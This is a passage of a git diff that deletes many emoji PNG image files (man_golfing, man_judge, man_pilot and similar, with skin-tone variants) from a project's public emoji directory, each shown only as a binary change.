diff --git a/public/-/emojis/2/man_getting_haircut_tone4.png b/public/-/emojis/2/man_getting_haircut_tone4.png
deleted file mode 100644
index 6f94fbd6a50..00000000000
--- a/public/-/emojis/2/man_getting_haircut_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_getting_haircut_tone5.png b/public/-/emojis/2/man_getting_haircut_tone5.png
deleted file mode 100644
index baacd88ac2c..00000000000
--- a/public/-/emojis/2/man_getting_haircut_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_golfing.png b/public/-/emojis/2/man_golfing.png
deleted file mode 100644
index 1e22660acb8..00000000000
--- a/public/-/emojis/2/man_golfing.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_golfing_tone1.png b/public/-/emojis/2/man_golfing_tone1.png
deleted file mode 100644
index c445fd1ff56..00000000000
--- a/public/-/emojis/2/man_golfing_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_golfing_tone2.png b/public/-/emojis/2/man_golfing_tone2.png
deleted file mode 100644
index af6630ed5ca..00000000000
--- a/public/-/emojis/2/man_golfing_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_golfing_tone3.png b/public/-/emojis/2/man_golfing_tone3.png
deleted file mode 100644
index 83a59b38fe2..00000000000
--- a/public/-/emojis/2/man_golfing_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_golfing_tone4.png b/public/-/emojis/2/man_golfing_tone4.png
deleted file mode 100644
index 8421b692ef3..00000000000
--- a/public/-/emojis/2/man_golfing_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_golfing_tone5.png b/public/-/emojis/2/man_golfing_tone5.png
deleted file mode 100644
index 4879e4b00d0..00000000000
--- a/public/-/emojis/2/man_golfing_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_guard.png b/public/-/emojis/2/man_guard.png
deleted file mode 100644
index 47808b92493..00000000000
--- a/public/-/emojis/2/man_guard.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_guard_tone1.png b/public/-/emojis/2/man_guard_tone1.png
deleted file mode 100644
index 81be8e9cf60..00000000000
--- a/public/-/emojis/2/man_guard_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_guard_tone2.png b/public/-/emojis/2/man_guard_tone2.png
deleted file mode 100644
index 73ae457c1e1..00000000000
--- a/public/-/emojis/2/man_guard_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_guard_tone3.png b/public/-/emojis/2/man_guard_tone3.png
deleted file mode 100644
index 56d311af686..00000000000
--- a/public/-/emojis/2/man_guard_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_guard_tone4.png b/public/-/emojis/2/man_guard_tone4.png
deleted file mode 100644
index e93aa6eb7be..00000000000
--- a/public/-/emojis/2/man_guard_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_guard_tone5.png b/public/-/emojis/2/man_guard_tone5.png
deleted file mode 100644
index 268e9cf6b2e..00000000000
--- a/public/-/emojis/2/man_guard_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_health_worker.png b/public/-/emojis/2/man_health_worker.png
deleted file mode 100644
index 5223033ea4b..00000000000
--- a/public/-/emojis/2/man_health_worker.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_health_worker_tone1.png b/public/-/emojis/2/man_health_worker_tone1.png
deleted file mode 100644
index bd81c292804..00000000000
--- a/public/-/emojis/2/man_health_worker_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_health_worker_tone2.png b/public/-/emojis/2/man_health_worker_tone2.png
deleted file mode 100644
index a55ff67bcd0..00000000000
--- a/public/-/emojis/2/man_health_worker_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_health_worker_tone3.png b/public/-/emojis/2/man_health_worker_tone3.png
deleted file mode 100644
index 3eab49d3182..00000000000
--- a/public/-/emojis/2/man_health_worker_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_health_worker_tone4.png b/public/-/emojis/2/man_health_worker_tone4.png
deleted file mode 100644
index 604b7b1b1ef..00000000000
--- a/public/-/emojis/2/man_health_worker_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_health_worker_tone5.png b/public/-/emojis/2/man_health_worker_tone5.png
deleted file mode 100644
index e311ca140a5..00000000000
--- a/public/-/emojis/2/man_health_worker_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_in_lotus_position.png b/public/-/emojis/2/man_in_lotus_position.png
deleted file mode 100644
index 68c041fbc20..00000000000
--- a/public/-/emojis/2/man_in_lotus_position.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_in_lotus_position_tone1.png b/public/-/emojis/2/man_in_lotus_position_tone1.png
deleted file mode 100644
index 1e4fbb16f52..00000000000
--- a/public/-/emojis/2/man_in_lotus_position_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_in_lotus_position_tone2.png b/public/-/emojis/2/man_in_lotus_position_tone2.png
deleted file mode 100644
index f2dafb6e015..00000000000
--- a/public/-/emojis/2/man_in_lotus_position_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_in_lotus_position_tone3.png b/public/-/emojis/2/man_in_lotus_position_tone3.png
deleted file mode 100644
index c036f9dc599..00000000000
--- a/public/-/emojis/2/man_in_lotus_position_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_in_lotus_position_tone4.png b/public/-/emojis/2/man_in_lotus_position_tone4.png
deleted file mode 100644
index f400548ac0f..00000000000
--- a/public/-/emojis/2/man_in_lotus_position_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_in_lotus_position_tone5.png b/public/-/emojis/2/man_in_lotus_position_tone5.png
deleted file mode 100644
index f2982f9083c..00000000000
--- a/public/-/emojis/2/man_in_lotus_position_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_in_steamy_room.png b/public/-/emojis/2/man_in_steamy_room.png
deleted file mode 100644
index 62896364d2c..00000000000
--- a/public/-/emojis/2/man_in_steamy_room.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_in_steamy_room_tone1.png b/public/-/emojis/2/man_in_steamy_room_tone1.png
deleted file mode 100644
index 46158c20034..00000000000
--- a/public/-/emojis/2/man_in_steamy_room_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_in_steamy_room_tone2.png b/public/-/emojis/2/man_in_steamy_room_tone2.png
deleted file mode 100644
index 828217fffc7..00000000000
--- a/public/-/emojis/2/man_in_steamy_room_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_in_steamy_room_tone3.png b/public/-/emojis/2/man_in_steamy_room_tone3.png
deleted file mode 100644
index 0ffa5237e20..00000000000
--- a/public/-/emojis/2/man_in_steamy_room_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_in_steamy_room_tone4.png b/public/-/emojis/2/man_in_steamy_room_tone4.png
deleted file mode 100644
index c91ecfa26d4..00000000000
--- a/public/-/emojis/2/man_in_steamy_room_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_in_steamy_room_tone5.png b/public/-/emojis/2/man_in_steamy_room_tone5.png
deleted file mode 100644
index 322c610ee17..00000000000
--- a/public/-/emojis/2/man_in_steamy_room_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_in_tuxedo.png b/public/-/emojis/2/man_in_tuxedo.png
deleted file mode 100644
index 350068e7527..00000000000
--- a/public/-/emojis/2/man_in_tuxedo.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_in_tuxedo_tone1.png b/public/-/emojis/2/man_in_tuxedo_tone1.png
deleted file mode 100644
index e14414ab1c2..00000000000
--- a/public/-/emojis/2/man_in_tuxedo_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_in_tuxedo_tone2.png b/public/-/emojis/2/man_in_tuxedo_tone2.png
deleted file mode 100644
index 5a9991ecc00..00000000000
--- a/public/-/emojis/2/man_in_tuxedo_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_in_tuxedo_tone3.png b/public/-/emojis/2/man_in_tuxedo_tone3.png
deleted file mode 100644
index 49154643907..00000000000
--- a/public/-/emojis/2/man_in_tuxedo_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_in_tuxedo_tone4.png b/public/-/emojis/2/man_in_tuxedo_tone4.png
deleted file mode 100644
index 15e045d81ff..00000000000
--- a/public/-/emojis/2/man_in_tuxedo_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_in_tuxedo_tone5.png b/public/-/emojis/2/man_in_tuxedo_tone5.png
deleted file mode 100644
index fba51ce5995..00000000000
--- a/public/-/emojis/2/man_in_tuxedo_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_judge.png b/public/-/emojis/2/man_judge.png
deleted file mode 100644
index 18bc5488d37..00000000000
--- a/public/-/emojis/2/man_judge.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_judge_tone1.png b/public/-/emojis/2/man_judge_tone1.png
deleted file mode 100644
index d03a2425a29..00000000000
--- a/public/-/emojis/2/man_judge_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_judge_tone2.png b/public/-/emojis/2/man_judge_tone2.png
deleted file mode 100644
index 63d6fc09c9a..00000000000
--- a/public/-/emojis/2/man_judge_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_judge_tone3.png b/public/-/emojis/2/man_judge_tone3.png
deleted file mode 100644
index 97725f6479a..00000000000
--- a/public/-/emojis/2/man_judge_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_judge_tone4.png b/public/-/emojis/2/man_judge_tone4.png
deleted file mode 100644
index 83b9943c730..00000000000
--- a/public/-/emojis/2/man_judge_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_judge_tone5.png b/public/-/emojis/2/man_judge_tone5.png
deleted file mode 100644
index a37ccb6983a..00000000000
--- a/public/-/emojis/2/man_judge_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_juggling.png b/public/-/emojis/2/man_juggling.png
deleted file mode 100644
index 0d271e5412e..00000000000
--- a/public/-/emojis/2/man_juggling.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_juggling_tone1.png b/public/-/emojis/2/man_juggling_tone1.png
deleted file mode 100644
index 30ee4f76323..00000000000
--- a/public/-/emojis/2/man_juggling_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_juggling_tone2.png b/public/-/emojis/2/man_juggling_tone2.png
deleted file mode 100644
index 3ca6c2cc8aa..00000000000
--- a/public/-/emojis/2/man_juggling_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_juggling_tone3.png b/public/-/emojis/2/man_juggling_tone3.png
deleted file mode 100644
index 6ae9e5e471e..00000000000
--- a/public/-/emojis/2/man_juggling_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_juggling_tone4.png b/public/-/emojis/2/man_juggling_tone4.png
deleted file mode 100644
index 21df1f15772..00000000000
--- a/public/-/emojis/2/man_juggling_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_juggling_tone5.png b/public/-/emojis/2/man_juggling_tone5.png
deleted file mode 100644
index 32681fa51b4..00000000000
--- a/public/-/emojis/2/man_juggling_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_lifting_weights.png b/public/-/emojis/2/man_lifting_weights.png
deleted file mode 100644
index ea8d803634a..00000000000
--- a/public/-/emojis/2/man_lifting_weights.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_lifting_weights_tone1.png b/public/-/emojis/2/man_lifting_weights_tone1.png
deleted file mode 100644
index 1f2314611a1..00000000000
--- a/public/-/emojis/2/man_lifting_weights_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_lifting_weights_tone2.png b/public/-/emojis/2/man_lifting_weights_tone2.png
deleted file mode 100644
index 353bee10eaa..00000000000
--- a/public/-/emojis/2/man_lifting_weights_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_lifting_weights_tone3.png b/public/-/emojis/2/man_lifting_weights_tone3.png
deleted file mode 100644
index 9dd3a9b1dec..00000000000
--- a/public/-/emojis/2/man_lifting_weights_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_lifting_weights_tone4.png b/public/-/emojis/2/man_lifting_weights_tone4.png
deleted file mode 100644
index f81cce3067a..00000000000
--- a/public/-/emojis/2/man_lifting_weights_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_lifting_weights_tone5.png b/public/-/emojis/2/man_lifting_weights_tone5.png
deleted file mode 100644
index 7ea5400815e..00000000000
--- a/public/-/emojis/2/man_lifting_weights_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_mage.png b/public/-/emojis/2/man_mage.png
deleted file mode 100644
index 3dc5bc562e4..00000000000
--- a/public/-/emojis/2/man_mage.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_mage_tone1.png b/public/-/emojis/2/man_mage_tone1.png
deleted file mode 100644
index fc96ccdee4e..00000000000
--- a/public/-/emojis/2/man_mage_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_mage_tone2.png b/public/-/emojis/2/man_mage_tone2.png
deleted file mode 100644
index d0aa6f672a2..00000000000
--- a/public/-/emojis/2/man_mage_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_mage_tone3.png b/public/-/emojis/2/man_mage_tone3.png
deleted file mode 100644
index 597300b7e56..00000000000
--- a/public/-/emojis/2/man_mage_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_mage_tone4.png b/public/-/emojis/2/man_mage_tone4.png
deleted file mode 100644
index d3385134db6..00000000000
--- a/public/-/emojis/2/man_mage_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_mage_tone5.png b/public/-/emojis/2/man_mage_tone5.png
deleted file mode 100644
index 3dd4c5d791f..00000000000
--- a/public/-/emojis/2/man_mage_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_mechanic.png b/public/-/emojis/2/man_mechanic.png
deleted file mode 100644
index ff8761017f2..00000000000
--- a/public/-/emojis/2/man_mechanic.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_mechanic_tone1.png b/public/-/emojis/2/man_mechanic_tone1.png
deleted file mode 100644
index 59cb63e253e..00000000000
--- a/public/-/emojis/2/man_mechanic_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_mechanic_tone2.png b/public/-/emojis/2/man_mechanic_tone2.png
deleted file mode 100644
index d76ab7d5fe9..00000000000
--- a/public/-/emojis/2/man_mechanic_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_mechanic_tone3.png b/public/-/emojis/2/man_mechanic_tone3.png
deleted file mode 100644
index f9b93efada4..00000000000
--- a/public/-/emojis/2/man_mechanic_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_mechanic_tone4.png b/public/-/emojis/2/man_mechanic_tone4.png
deleted file mode 100644
index 6793d9ce514..00000000000
--- a/public/-/emojis/2/man_mechanic_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_mechanic_tone5.png b/public/-/emojis/2/man_mechanic_tone5.png
deleted file mode 100644
index fbc4b6214e4..00000000000
--- a/public/-/emojis/2/man_mechanic_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_mountain_biking.png b/public/-/emojis/2/man_mountain_biking.png
deleted file mode 100644
index 789115772be..00000000000
--- a/public/-/emojis/2/man_mountain_biking.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_mountain_biking_tone1.png b/public/-/emojis/2/man_mountain_biking_tone1.png
deleted file mode 100644
index 445b9b431b5..00000000000
--- a/public/-/emojis/2/man_mountain_biking_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_mountain_biking_tone2.png b/public/-/emojis/2/man_mountain_biking_tone2.png
deleted file mode 100644
index bbb5f3ff5a8..00000000000
--- a/public/-/emojis/2/man_mountain_biking_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_mountain_biking_tone3.png b/public/-/emojis/2/man_mountain_biking_tone3.png
deleted file mode 100644
index e48d3d1ad38..00000000000
--- a/public/-/emojis/2/man_mountain_biking_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_mountain_biking_tone4.png b/public/-/emojis/2/man_mountain_biking_tone4.png
deleted file mode 100644
index 418358de59d..00000000000
--- a/public/-/emojis/2/man_mountain_biking_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_mountain_biking_tone5.png b/public/-/emojis/2/man_mountain_biking_tone5.png
deleted file mode 100644
index fe2c26d0099..00000000000
--- a/public/-/emojis/2/man_mountain_biking_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_office_worker.png b/public/-/emojis/2/man_office_worker.png
deleted file mode 100644
index dcf641ea9cd..00000000000
--- a/public/-/emojis/2/man_office_worker.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_office_worker_tone1.png b/public/-/emojis/2/man_office_worker_tone1.png
deleted file mode 100644
index 863adc185b3..00000000000
--- a/public/-/emojis/2/man_office_worker_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_office_worker_tone2.png b/public/-/emojis/2/man_office_worker_tone2.png
deleted file mode 100644
index b5f86212730..00000000000
--- a/public/-/emojis/2/man_office_worker_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_office_worker_tone3.png b/public/-/emojis/2/man_office_worker_tone3.png
deleted file mode 100644
index c5cc72a21b6..00000000000
--- a/public/-/emojis/2/man_office_worker_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_office_worker_tone4.png b/public/-/emojis/2/man_office_worker_tone4.png
deleted file mode 100644
index 137adda5f3a..00000000000
--- a/public/-/emojis/2/man_office_worker_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_office_worker_tone5.png b/public/-/emojis/2/man_office_worker_tone5.png
deleted file mode 100644
index 0675c06b74e..00000000000
--- a/public/-/emojis/2/man_office_worker_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_pilot.png b/public/-/emojis/2/man_pilot.png
deleted file mode 100644
index 17d315d55ca..00000000000
--- a/public/-/emojis/2/man_pilot.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_pilot_tone1.png b/public/-/emojis/2/man_pilot_tone1.png
deleted file mode 100644
index e98e9aa5425..00000000000
--- a/public/-/emojis/2/man_pilot_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_pilot_tone2.png b/public/-/emojis/2/man_pilot_tone2.png
deleted file mode 100644
index 38133fa0383..00000000000
--- a/public/-/emojis/2/man_pilot_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_pilot_tone3.png b/public/-/emojis/2/man_pilot_tone3.png
deleted file mode 100644
index 83cf10033a8..00000000000
--- a/public/-/emojis/2/man_pilot_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_pilot_tone4.png b/public/-/emojis/2/man_pilot_tone4.png
deleted file mode 100644
index 15d838964fd..00000000000
--- a/public/-/emojis/2/man_pilot_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_pilot_tone5.png b/public/-/emojis/2/man_pilot_tone5.png
deleted file mode 100644
index c0923415f31..00000000000
--- a/public/-/emojis/2/man_pilot_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_playing_handball.png b/public/-/emojis/2/man_playing_handball.png
deleted file mode 100644
index 7accfb4b586..00000000000
--- a/public/-/emojis/2/man_playing_handball.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_playing_handball_tone1.png b/public/-/emojis/2/man_playing_handball_tone1.png
deleted file mode 100644
index c6dce0e3cac..00000000000
--- a/public/-/emojis/2/man_playing_handball_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_playing_handball_tone2.png b/public/-/emojis/2/man_playing_handball_tone2.png
deleted file mode 100644
index 39b8e7222c2..00000000000
--- a/public/-/emojis/2/man_playing_handball_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_playing_handball_tone3.png b/public/-/emojis/2/man_playing_handball_tone3.png
deleted file mode 100644
index 044efc9026a..00000000000
--- a/public/-/emojis/2/man_playing_handball_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_playing_handball_tone4.png b/public/-/emojis/2/man_playing_handball_tone4.png
deleted file mode 100644
index 7a7c4c0d5db..00000000000
--- a/public/-/emojis/2/man_playing_handball_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_playing_handball_tone5.png b/public/-/emojis/2/man_playing_handball_tone5.png
deleted file mode 100644
index b551b6dff5a..00000000000
--- a/public/-/emojis/2/man_playing_handball_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_playing_water_polo.png b/public/-/emojis/2/man_playing_water_polo.png
deleted file mode 100644
index 8c05000a840..00000000000
--- a/public/-/emojis/2/man_playing_water_polo.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_playing_water_polo_tone1.png b/public/-/emojis/2/man_playing_water_polo_tone1.png
deleted file mode 100644
index a5f2ec46db8..00000000000
--- a/public/-/emojis/2/man_playing_water_polo_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_playing_water_polo_tone2.png b/public/-/emojis/2/man_playing_water_polo_tone2.png
deleted file mode 100644
index ebc18e5ab35..00000000000
--- a/public/-/emojis/2/man_playing_water_polo_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_playing_water_polo_tone3.png b/public/-/emojis/2/man_playing_water_polo_tone3.png
deleted file mode 100644
index 6b6c1feb99e..00000000000
--- a/public/-/emojis/2/man_playing_water_polo_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_playing_water_polo_tone4.png b/public/-/emojis/2/man_playing_water_polo_tone4.png
deleted file mode 100644
index 754d5841be1..00000000000
--- a/public/-/emojis/2/man_playing_water_polo_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_playing_water_polo_tone5.png b/public/-/emojis/2/man_playing_water_polo_tone5.png
deleted file mode 100644
index 2aef84a38a0..00000000000
--- a/public/-/emojis/2/man_playing_water_polo_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_police_officer.png b/public/-/emojis/2/man_police_officer.png
deleted file mode 100644
index 14b32166f86..00000000000
--- a/public/-/emojis/2/man_police_officer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_police_officer_tone1.png b/public/-/emojis/2/man_police_officer_tone1.png
deleted file mode 100644
index e1169d560fa..00000000000
--- a/public/-/emojis/2/man_police_officer_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_police_officer_tone2.png b/public/-/emojis/2/man_police_officer_tone2.png
deleted file mode 100644
index 5d2e44eefd9..00000000000
--- a/public/-/emojis/2/man_police_officer_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_police_officer_tone3.png b/public/-/emojis/2/man_police_officer_tone3.png
deleted file mode 100644
index 3773d66a3d3..00000000000
--- a/public/-/emojis/2/man_police_officer_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_police_officer_tone4.png b/public/-/emojis/2/man_police_officer_tone4.png
deleted file mode 100644
index 646fe48e067..00000000000
--- a/public/-/emojis/2/man_police_officer_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_police_officer_tone5.png b/public/-/emojis/2/man_police_officer_tone5.png
deleted file mode 100644
index e7512c655ab..00000000000
--- a/public/-/emojis/2/man_police_officer_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_pouting.png b/public/-/emojis/2/man_pouting.png
deleted file mode 100644
index 717452437c1..00000000000
--- a/public/-/emojis/2/man_pouting.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_pouting_tone1.png b/public/-/emojis/2/man_pouting_tone1.png
deleted file mode 100644
index 06dfad76e14..00000000000
--- a/public/-/emojis/2/man_pouting_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_pouting_tone2.png b/public/-/emojis/2/man_pouting_tone2.png
deleted file mode 100644
index 885be622ea4..00000000000
--- a/public/-/emojis/2/man_pouting_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_pouting_tone3.png b/public/-/emojis/2/man_pouting_tone3.png
deleted file mode 100644
index 8e077f1ee60..00000000000
--- a/public/-/emojis/2/man_pouting_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_pouting_tone4.png b/public/-/emojis/2/man_pouting_tone4.png
deleted file mode 100644
index e543b0e666f..00000000000
--- a/public/-/emojis/2/man_pouting_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_pouting_tone5.png b/public/-/emojis/2/man_pouting_tone5.png
deleted file mode 100644
index 01571feaa1d..00000000000
--- a/public/-/emojis/2/man_pouting_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_raising_hand.png b/public/-/emojis/2/man_raising_hand.png
deleted file mode 100644
index 99b887d094b..00000000000
--- a/public/-/emojis/2/man_raising_hand.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_raising_hand_tone1.png b/public/-/emojis/2/man_raising_hand_tone1.png
deleted file mode 100644
index ebc1d58c1a2..00000000000
--- a/public/-/emojis/2/man_raising_hand_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_raising_hand_tone2.png b/public/-/emojis/2/man_raising_hand_tone2.png
deleted file mode 100644
index 6d4242d7f87..00000000000
--- a/public/-/emojis/2/man_raising_hand_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_raising_hand_tone3.png b/public/-/emojis/2/man_raising_hand_tone3.png
deleted file mode 100644
index 7fe37bd8e74..00000000000
--- a/public/-/emojis/2/man_raising_hand_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_raising_hand_tone4.png b/public/-/emojis/2/man_raising_hand_tone4.png
deleted file mode 100644
index 07d83b69a41..00000000000
--- a/public/-/emojis/2/man_raising_hand_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_raising_hand_tone5.png b/public/-/emojis/2/man_raising_hand_tone5.png
deleted file mode 100644
index 8fb23b8eda9..00000000000
--- a/public/-/emojis/2/man_raising_hand_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_red_haired.png b/public/-/emojis/2/man_red_haired.png
deleted file mode 100644
index 01123350d26..00000000000
--- a/public/-/emojis/2/man_red_haired.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_red_haired_tone1.png b/public/-/emojis/2/man_red_haired_tone1.png
deleted file mode 100644
index 1c9871ebad8..00000000000
--- a/public/-/emojis/2/man_red_haired_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_red_haired_tone2.png b/public/-/emojis/2/man_red_haired_tone2.png
deleted file mode 100644
index 3def51e6ada..00000000000
--- a/public/-/emojis/2/man_red_haired_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_red_haired_tone3.png b/public/-/emojis/2/man_red_haired_tone3.png
deleted file mode 100644
index c1ab8c42df4..00000000000
--- a/public/-/emojis/2/man_red_haired_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_red_haired_tone4.png b/public/-/emojis/2/man_red_haired_tone4.png
deleted file mode 100644
index 8c3fed53cdf..00000000000
--- a/public/-/emojis/2/man_red_haired_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_red_haired_tone5.png b/public/-/emojis/2/man_red_haired_tone5.png
deleted file mode 100644
index 0054257b668..00000000000
--- a/public/-/emojis/2/man_red_haired_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_rowing_boat.png b/public/-/emojis/2/man_rowing_boat.png
deleted file mode 100644
index 7fe973b7a10..00000000000
--- a/public/-/emojis/2/man_rowing_boat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_rowing_boat_tone1.png b/public/-/emojis/2/man_rowing_boat_tone1.png
deleted file mode 100644
index 0120b693ac7..00000000000
--- a/public/-/emojis/2/man_rowing_boat_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/man_rowing_boat_tone2.png b/public/-/emojis/2/man_rowing_boat_tone2.png
deleted file mode 100644
